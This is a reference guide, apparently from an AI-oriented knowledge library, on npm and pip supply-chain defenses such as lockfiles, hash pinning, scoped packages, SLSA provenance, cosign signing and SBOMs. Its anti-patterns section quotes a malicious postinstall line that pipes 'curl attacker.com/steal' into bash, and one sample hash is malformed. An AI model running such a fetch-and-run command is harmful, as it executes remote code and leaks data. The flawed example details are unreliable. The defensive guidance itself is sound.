---
# === IDENTITY ===
id: software/security/supply-chain-security/2026
canonical_question: "How do I secure the software supply chain (npm, pip)?"
aliases:
  - "software supply chain security best practices"
  - "npm supply chain attack prevention"
  - "pip dependency security hash checking"
  - "SLSA framework supply chain levels"
  - "Sigstore cosign container signing"
  - "dependency confusion attack mitigation"
  - "typosquatting package manager defense"
  - "SBOM software bill of materials"
entity_type: software_reference
domain: software > security > Supply Chain Security
region: global
jurisdiction: global
temporal_scope: 2024-2026

# === VERIFICATION ===
last_verified: 2026-02-27
confidence: 0.93
version: 1.0
first_published: 2026-02-27

# === TEMPORAL VALIDITY ===
temporal_validity:
  status: stable
  last_breaking_change: "SLSA v1.0 released 2023-04; npm provenance (Sigstore-based) GA 2023-04; PyPI Trusted Publishers GA 2023-04; OWASP Top 10 2025 elevated supply chain to A03"
  next_review: 2026-08-26
  change_sensitivity: medium

# === CONSTRAINTS ===
constraints:
  - "NEVER install packages without verifying integrity -- use lockfiles with hashes (package-lock.json, requirements.txt --require-hashes)"
  - "NEVER run npm install in CI -- use npm ci which enforces lockfile integrity"
  - "NEVER trust package lifecycle scripts by default -- disable with --ignore-scripts and allowlist explicitly"
  - "Private package names MUST be scoped (@org/pkg) or reserved in public registries to prevent dependency confusion"
  - "SBOM generation is required by US Executive Order 14028 for federal software suppliers"

# === SKIP CONDITIONS ===
skip_this_unit_if:
  - condition: "Need to prevent XSS or injection attacks in your own code"
    use_instead: "software/security/xss-prevention/2026"
  - condition: "Need container image security scanning (not signing/provenance)"
    use_instead: "software/devops/container-security-scanning/2026"
  - condition: "Need secrets management, not dependency security"
    use_instead: "software/security/secrets-management/2026"

# === AGENT HINTS ===
inputs_needed:
  - key: "package_manager"
    question: "Which package manager are you using?"
    type: choice
    options: ["npm", "pip/poetry", "Go modules", "Maven/Gradle", "cargo", "Multiple"]
  - key: "supply_chain_concern"
    question: "What is your primary supply chain concern?"
    type: choice
    options: ["Preventing malicious packages", "Generating SBOM", "Signing and verifying artifacts", "CI/CD pipeline hardening", "Compliance (SLSA/NIST)"]

# === DISTRIBUTION ===
canonical_source: "https://knowledgelib.io/software/security/supply-chain-security/2026"
suggested_citation: "Source: knowledgelib.io -- AI Knowledge Library (verified 2026-02-27)"

# === RELATED UNITS ===
related_kos:
  depends_on: []
  related_to:
    - id: "software/security/xss-prevention/2026"
      label: "XSS Prevention"
    - id: "software/devops/container-security-scanning/2026"
      label: "Container Security Scanning"
  solves: []
  alternative_to: []
  often_confused_with:
    - id: "software/security/secrets-management/2026"
      label: "Secrets Management"
    - id: "software/devops/cicd-security/2026"
      label: "CI/CD Pipeline Security"

# === SOURCES (8 authoritative sources) ===
# Types: official_docs, technical_blog, rfc_spec, academic_paper, community_resource, industry_report
# Reliability: high, moderate_high, moderate, moderate_low, low, authoritative
sources:
  - id: src1
    title: "Supply-chain Levels for Software Artifacts (SLSA) Specification v1.0"
    author: OpenSSF / SLSA Contributors
    url: https://slsa.dev/spec/v1.0/levels
    type: official_docs
    published: 2023-04-19
    reliability: authoritative
  - id: src2
    title: "Sigstore Documentation: Cosign Signing and Verification"
    author: Sigstore Project
    url: https://docs.sigstore.dev/cosign/signing/overview/
    type: official_docs
    published: 2025-01-15
    reliability: authoritative
  - id: src3
    title: "Software Supply Chain Security Cheat Sheet"
    author: OWASP Foundation
    url: https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html
    type: community_resource
    published: 2024-12-01
    reliability: authoritative
  - id: src4
    title: "npm: Threats and Mitigations"
    author: npm Inc.
    url: https://docs.npmjs.com/threats-and-mitigations
    type: official_docs
    published: 2025-06-01
    reliability: high
  - id: src5
    title: "Publishing to PyPI with a Trusted Publisher"
    author: Python Packaging Authority
    url: https://docs.pypi.org/trusted-publishers/
    type: official_docs
    published: 2023-04-20
    reliability: high
  - id: src6
    title: "OpenSSF Scorecard: Security Health Metrics for Open Source"
    author: Open Source Security Foundation
    url: https://github.com/ossf/scorecard
    type: official_docs
    published: 2025-06-01
    reliability: high
  - id: src7
    title: "A03:2025 Software Supply Chain Failures -- OWASP Top 10"
    author: OWASP Foundation
    url: https://owasp.org/Top10/2025/A03_2025-Software_Supply_Chain_Failures/
    type: community_resource
    published: 2025-01-01
    reliability: authoritative
  - id: src8
    title: "CycloneDX Bill of Materials Standard"
    author: OWASP Foundation
    url: https://cyclonedx.org/capabilities/sbom/
    type: official_docs
    published: 2025-03-01
    reliability: high
---

# Software Supply Chain Security: npm, pip, and Beyond

## TL;DR

- **Bottom line**: Secure your supply chain with lockfile pinning + hash verification, disable lifecycle scripts by default, scope private packages, generate SBOMs, and adopt SLSA provenance -- no single measure is sufficient alone.
- **Key tool/command**: `npm ci --ignore-scripts` for deterministic, script-safe installs; `pip install --require-hashes -r requirements.txt` for hash-verified Python installs.
- **Watch out for**: Dependency confusion attacks -- if your private packages are not scoped (@org/pkg) or reserved in public registries, attackers can publish higher-version packages with the same name to hijack installs.
- **Works with**: npm 7+, pip 8+, Go 1.13+ (modules), Sigstore/cosign 2.x, SLSA v1.0, CycloneDX 1.5+, SPDX 2.3+.

## Constraints
<!-- Agents: read this section before recommending any action from this unit.
     These are hard constraints that must not be violated. -->

- NEVER install packages without verifying integrity -- use lockfiles with hashes (package-lock.json, requirements.txt --require-hashes)
- NEVER run `npm install` in CI -- use `npm ci` which enforces lockfile integrity
- NEVER trust package lifecycle scripts by default -- disable with `--ignore-scripts` and allowlist explicitly
- Private package names MUST be scoped (@org/pkg) or reserved in public registries to prevent dependency confusion
- SBOM generation is required by US Executive Order 14028 for federal software suppliers

## Quick Reference

| # | Threat | Risk Level | Attack Vector | Mitigation |
|---|---|---|---|---|
| 1 | Typosquatting | High | Attacker publishes `lod-ash` mimicking `lodash` | Verify exact package name; use `npm audit signatures`; check OpenSSF Scorecard |
| 2 | Dependency confusion | Critical | Public package with same name as internal pkg, higher version | Scope private packages (@org/pkg); configure registry per-scope in .npmrc |
| 3 | Compromised maintainer | Critical | Attacker gains access to maintainer npm/PyPI account | Enable 2FA on registry accounts; use Trusted Publishers (PyPI); review provenance |
| 4 | Malicious lifecycle scripts | High | `postinstall` script exfiltrates env vars or installs backdoor | `--ignore-scripts` globally; allowlist with `.npmrc` `ignore-scripts=true` |
| 5 | Lockfile manipulation | High | PR changes lockfile to point to malicious registry/tarball | Use `lockfile-lint`; review lockfile diffs in PRs; `npm ci` validates integrity |
| 6 | Compromised build pipeline | Critical | CI/CD credentials stolen, build artifacts replaced | SLSA L3 provenance; isolated build environments; signed artifacts |
| 7 | Abandoned/unmaintained packages | Medium | Known CVEs never patched in transitive dependency | OpenSSF Scorecard checks; `npm audit`; Dependabot/Renovate alerts |
| 8 | SBOM gaps | Medium | Unable to respond to new CVE across your dependency tree | Generate CycloneDX/SPDX SBOM in CI; store and update with each release |
| 9 | Protestware/self-sabotage | Medium | Maintainer intentionally breaks own package (colors.js, node-ipc) | Pin exact versions; review changelogs before upgrading; use cooldown windows |
| 10 | Registry/CDN compromise | Low | npm registry or CDN serves tampered packages | Verify package signatures; use `npm audit signatures`; compare hashes |

## Decision Tree

> Full script: [decision-tree.txt](scripts/decision-tree.txt) (25 lines)

```
START: What is your primary supply chain concern?
|-- Preventing malicious package installs?
|   |-- Using npm?
|   |   |-- YES -> Pin versions + npm ci + --ignore-scripts + lockfile-lint (Step 1-2)
|   |   +-- NO |
# ... (see full script)
```

## Step-by-Step Guide

### 1. Configure deterministic installs with lockfile enforcement

Use `npm ci` in CI/CD instead of `npm install`. It deletes `node_modules/` and installs exactly what the lockfile specifies, failing if there is any mismatch. [src4]

```bash
# .npmrc -- project-level configuration
ignore-scripts=true
engine-strict=true
package-lock=true
audit-level=moderate

# CI install command (never npm install)
npm ci --ignore-scripts
```

**Verify**: `npm ci` should exit 0 with no warnings about lockfile mismatch. Run `npm ls --all` to confirm dependency tree matches lockfile.

### 2. Prevent dependency confusion with scoped packages and registry config

Configure npm to resolve private scopes from your internal registry, preventing public registry substitution. [src4]

```ini
# .npmrc -- scope-to-registry mapping
@mycompany:registry=https://npm.mycompany.com/
//npm.mycompany.com/:_authToken=${NPM_PRIVATE_TOKEN}

# Always use lockfile
package-lock=true
```

```json
// package.json -- use scoped names for private packages
{
  "name": "@mycompany/internal-lib",
  "version": "1.0.0",
  "private": true
}
```

**Verify**: `npm config get @mycompany:registry` should return your private registry URL.

### 3. Pin Python dependencies with hash verification

Use `pip-compile` (from pip-tools) to generate a requirements file with SHA256 hashes, then install with `--require-hashes`. [src5]

```bash
# Install pip-tools
pip install pip-tools==7.*

# Generate requirements.txt with hashes from pyproject.toml or requirements.in
pip-compile --generate-hashes --output-file=requirements.txt requirements.in

# Install with hash verification (fails if any hash mismatches)
pip install --require-hashes --no-deps -r requirements.txt
```

**Verify**: Modify any hash in `requirements.txt` -- `pip install --require-hashes` should fail with `THESE PACKAGES DO NOT MATCH THE HASHES`.

### 4. Enable npm provenance with SLSA attestations

npm provenance uses Sigstore to cryptographically link published packages to their source repo and build. Available on GitHub Actions, GitLab CI, and other supported CI. [src1]

```yaml
# .github/workflows/publish.yml
name: Publish
on:
  release:
    types: [published]

permissions:
  contents: read
  id-token: write  # Required for provenance

jobs:
  publish:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
          registry-url: https://registry.npmjs.org
      - run: npm ci
      - run: npm publish --provenance --access public
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
```

**Verify**: `npm audit signatures` on the published package should show "verified registry signatures".

### 5. Sign and verify container images with Sigstore cosign

Cosign provides keyless signing using OIDC identity from CI providers. No key management required. [src2]

```bash
# Install cosign
go install github.com/sigstore/cosign/v2/cmd/cosign@latest

# Sign a container image (keyless -- uses OIDC from CI environment)
cosign sign ghcr.io/myorg/myapp:v1.2.3

# Verify a signed image
cosign verify \
  --certificate-identity=https://github.com/myorg/myapp/.github/workflows/build.yml@refs/tags/v1.2.3 \
  --certificate-oidc-issuer=https://token.actions.githubusercontent.com \
  ghcr.io/myorg/myapp:v1.2.3

# Verify with output (returns JSON attestation)
cosign verify --output-format=json ghcr.io/myorg/myapp:v1.2.3
```

**Verify**: `cosign verify` should print `The following checks were performed on these signatures: ...` with no errors.

### 6. Generate SBOM with CycloneDX

Generate a Software Bill of Materials in CycloneDX format as part of your CI pipeline. [src8]

```bash
# npm: generate CycloneDX SBOM
npx @cyclonedx/cyclonedx-npm --output-file sbom.json

# Python: generate CycloneDX SBOM
pip install cyclonedx-bom
cyclonedx-py environment --output sbom.json

# Validate the generated SBOM
npx @cyclonedx/cyclonedx-cli validate --input-file sbom.json
```

**Verify**: `sbom.json` should contain a `components` array listing all direct and transitive dependencies with version, purl, and hash information.

### 7. Evaluate dependencies with OpenSSF Scorecard

Run Scorecard against your dependencies to assess their security posture before adoption. [src6]

```bash
# Install scorecard CLI
go install github.com/ossf/scorecard/v5/cmd/scorecard@latest

# Score a specific repository
scorecard --repo=github.com/expressjs/express

# Run as GitHub Action (weekly scheduled scan)
# .github/workflows/scorecard.yml
# See: https://github.com/ossf/scorecard-action
```

**Verify**: Output should show scores (0-10) for checks like Branch-Protection, Dependency-Update-Tool, Signed-Releases, Token-Permissions, and Vulnerabilities.

## Code Examples

### npm: Complete .npmrc Security Configuration

```ini
# .npmrc -- project root (commit to repo)
# Enforce lockfile usage
package-lock=true

# Disable lifecycle scripts by default
ignore-scripts=true

# Require exact versions (no ^ or ~)
save-exact=true

# Audit level -- fail on moderate+ vulnerabilities
audit-level=moderate

# Scope mapping for private packages
@mycompany:registry=https://npm.mycompany.com/

# Engine strictness
engine-strict=true
```

### Python: Secure pip Configuration with Hash Pinning

```ini
# pip.conf (Linux: ~/.config/pip/pip.conf, macOS: ~/Library/Application Support/pip/pip.conf)
[global]
require-hashes = true
no-deps = true

[install]
# Only allow packages from PyPI
index-url = https://pypi.org/simple/
extra-index-url =
trusted-host =
```

```txt
# requirements.txt (generated by pip-compile --generate-hashes)
requests==2.31.0 \
    --hash=sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003eb \
    --hash=sha256:942c5a758f98d790eaed1a29cb6eefc7f0edf3fcb0fce8aea3fbd5951d bff114
certifi==2024.2.2 \
    --hash=sha256:dc383c07b76109f368f6106eee2b593b04a011ea4d55f652c6ca24a754d1cdd1
```

### GitHub Actions: SLSA Provenance Generator

```yaml
# .github/workflows/slsa-provenance.yml
name: SLSA Go Releaser
on:
  release:
    types: [published]

permissions: read-all

jobs:
  build:
    permissions:
      id-token: write
      contents: write
      actions: read
    uses: slsa-framework/slsa-github-generator/.github/workflows/builder_go_slsa3.yml@v2.0.0
    with:
      go-version: "1.22"
```

### Cosign: Verify Image in Kubernetes Admission Policy

```yaml
# Kyverno policy to enforce signed images
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signatures
spec:
  validationFailureAction: Enforce
  rules:
    - name: verify-cosign-signature
      match:
        any:
          - resources:
              kinds: ["Pod"]
      verifyImages:
        - imageReferences: ["ghcr.io/myorg/*"]
          attestors:
            - entries:
                - keyless:
                    subject: "https://github.com/myorg/*"
                    issuer: "https://token.actions.githubusercontent.com"
```

## Anti-Patterns

### Wrong: Using floating version ranges in production

```json
// BAD -- ^ and ~ allow automatic minor/patch upgrades
// A compromised patch release gets installed automatically
{
  "dependencies": {
    "express": "^4.18.0",
    "lodash": "~4.17.0",
    "axios": "*"
  }
}
```

### Correct: Pin exact versions with lockfile enforcement

```json
// GOOD -- exact versions + npm ci enforces lockfile
{
  "dependencies": {
    "express": "4.18.2",
    "lodash": "4.17.21",
    "axios": "1.6.7"
  }
}
```

```bash
# CI: always use npm ci, never npm install
npm ci --ignore-scripts
```

### Wrong: Internal packages without scoping

```json
// BAD -- unscoped private package name can be hijacked
// Attacker publishes "my-internal-utils@999.0.0" to public npm
{
  "name": "my-internal-utils",
  "version": "1.0.0"
}
```

### Correct: Scoped packages with registry mapping

```json
// GOOD -- scoped package with .npmrc registry mapping
{
  "name": "@mycompany/internal-utils",
  "version": "1.0.0",
  "private": true
}
```

```ini
# .npmrc
@mycompany:registry=https://npm.mycompany.com/
```

### Wrong: pip install without hash verification

```bash
# BAD -- no integrity verification, vulnerable to MITM and registry compromise
pip install requests flask sqlalchemy
```

### Correct: Hash-pinned requirements with --require-hashes

```bash
# GOOD -- every package verified against pre-computed hash
pip install --require-hashes --no-deps -r requirements.txt
```

### Wrong: Allowing all lifecycle scripts

```bash
# BAD -- postinstall scripts can execute arbitrary code
npm install some-package
# The package's postinstall script runs: curl attacker.com/steal | bash
```

### Correct: Disabling scripts globally with explicit allowlist

```ini
# .npmrc -- disable scripts by default
ignore-scripts=true
```

```bash
# When a package legitimately needs scripts (e.g., node-gyp):
npm rebuild node-gyp-package --scripts-pre-install --scripts-install --scripts-post-install
```

## Common Pitfalls

- **Lockfile not committed to git**: Without a committed lockfile, every `npm install` can resolve different versions, defeating reproducibility. Fix: Always commit `package-lock.json` (npm) or `poetry.lock` (Python). [src4]
- **npm install in CI instead of npm ci**: `npm install` can silently update the lockfile, while `npm ci` enforces exact lockfile contents. Fix: Use `npm ci` in all CI/CD pipelines. [src4]
- **Trusting provenance without verifying it**: npm provenance exists but is not checked by default. Fix: Run `npm audit signatures` after install to verify registry signatures. [src1]
- **Ignoring transitive dependencies**: Direct dependencies may be safe, but their dependencies can be compromised. Fix: Use `npm ls --all` or SBOM tools to audit the full tree. [src3]
- **PyPI Trusted Publishers not configured**: Using long-lived API tokens for PyPI publishing is less secure. Fix: Configure OIDC-based Trusted Publishers in PyPI project settings for GitHub Actions, GitLab, or other supported CI. [src5]
- **No cooldown window before upgrading**: Adopting new package versions immediately exposes you to recently published malware. Fix: Wait 48-72 hours after a release; use Dependabot/Renovate with delayed merge. [src7]
- **SBOM generated once, never updated**: An outdated SBOM cannot identify newly disclosed CVEs in your dependency tree. Fix: Regenerate SBOM in every CI build; store alongside release artifacts. [src8]
- **Scorecard checks ignored for new dependencies**: Adding dependencies without checking their security posture introduces unvetted risk. Fix: Run `scorecard --repo=<dep-repo>` before adding any new dependency. [src6]

## Diagnostic Commands

```bash
# Audit npm packages for known vulnerabilities
npm audit

# Verify npm registry signatures (provenance)
npm audit signatures

# Check for outdated packages
npm outdated

# List full dependency tree (find transitive dependencies)
npm ls --all

# Validate lockfile integrity and registry sources
npx lockfile-lint --path package-lock.json --type npm --allowed-hosts npm --validate-https

# Check OpenSSF Scorecard for a dependency
scorecard --repo=github.com/expressjs/express --format=json

# Generate CycloneDX SBOM for npm project
npx @cyclonedx/cyclonedx-npm --output-file sbom.json --output-format json

# Python: audit packages for vulnerabilities
pip-audit

# Python: generate requirements with hashes
pip-compile --generate-hashes -o requirements.txt

# Verify a container image signature with cosign
cosign verify --certificate-oidc-issuer=https://token.actions.githubusercontent.com \
  ghcr.io/myorg/myapp:latest

# Scan SBOM for vulnerabilities with grype
grype sbom:./sbom.json
```

## Version History & Compatibility

| Standard/Tool | Version | Status | Key Feature |
|---|---|---|---|
| SLSA | v1.0 | Current (2023) | Build Track L0-L3, provenance specification |
| SLSA | v1.1 | Draft (2024) | Source Track (under development) |
| npm provenance | GA | Current (npm 9.5+) | Sigstore-based package provenance on publish |
| Sigstore/cosign | 2.x | Current | Keyless signing, Rekor transparency log |
| CycloneDX | 1.6 | Current (2024) | CBOM, MBOM, attestation support |
| SPDX | 2.3 / 3.0 | 2.3 stable, 3.0 draft | License compliance + security use cases |
| OpenSSF Scorecard | 5.x | Current | 18 automated security checks |
| PyPI Trusted Publishers | GA | Current (2023) | OIDC keyless publishing from CI |
| pip --require-hashes | GA | Current (pip 8+) | SHA256 hash verification on install |
| npm audit signatures | GA | Current (npm 9.5+) | Registry signature verification |

## When to Use / When Not to Use

| Use When | Don't Use When | Use Instead |
|---|---|---|
| Building any production application with external dependencies | Internal-only code with zero third-party dependencies | Basic code review suffices |
| Publishing packages to npm, PyPI, or container registries | Prototyping with no deployment pipeline | Minimal lockfile pinning may suffice |
| Required by compliance (NIST, EO 14028, SOC 2) | Personal learning projects with no sensitive data | Focus on learning the tools first |
| Operating CI/CD pipelines that produce deployable artifacts | Manual builds on a single trusted developer machine | Manual verification may be acceptable |
| Maintaining open source projects consumed by others | Private fork with no downstream consumers | Internal-only security measures |

## Important Caveats

- SLSA provenance only proves WHERE software was built, not that the source code itself is safe -- combine with code review and vulnerability scanning
- Sigstore keyless signing relies on OIDC providers (GitHub, Google, Microsoft); if the OIDC provider is compromised, signatures can be forged
- npm `--ignore-scripts` breaks packages that require native compilation (node-gyp, sharp, bcrypt); maintain an explicit allowlist for these packages
- Hash-pinned requirements in Python do not prevent install-time code execution from `setup.py`; use `--no-build-isolation` cautiously
- OpenSSF Scorecard scores are heuristic, not guarantees -- a perfect 10 does not mean a package is free of vulnerabilities
- SBOM accuracy depends on the tool used; different generators may produce different component lists for the same project
- The npm "Shai Hulud" worm attack (September 2025) demonstrated that even with these defenses, zero-day supply chain attacks can propagate rapidly -- defense in depth is essential

## Related Units
<!-- Generated from related_kos frontmatter -->

- [XSS Prevention](/software/security/xss-prevention/2026)
- [Container Security Scanning](/software/devops/container-security-scanning/2026)
- [Secrets Management](/software/security/secrets-management/2026)
- [CI/CD Pipeline Security](/software/devops/cicd-security/2026)
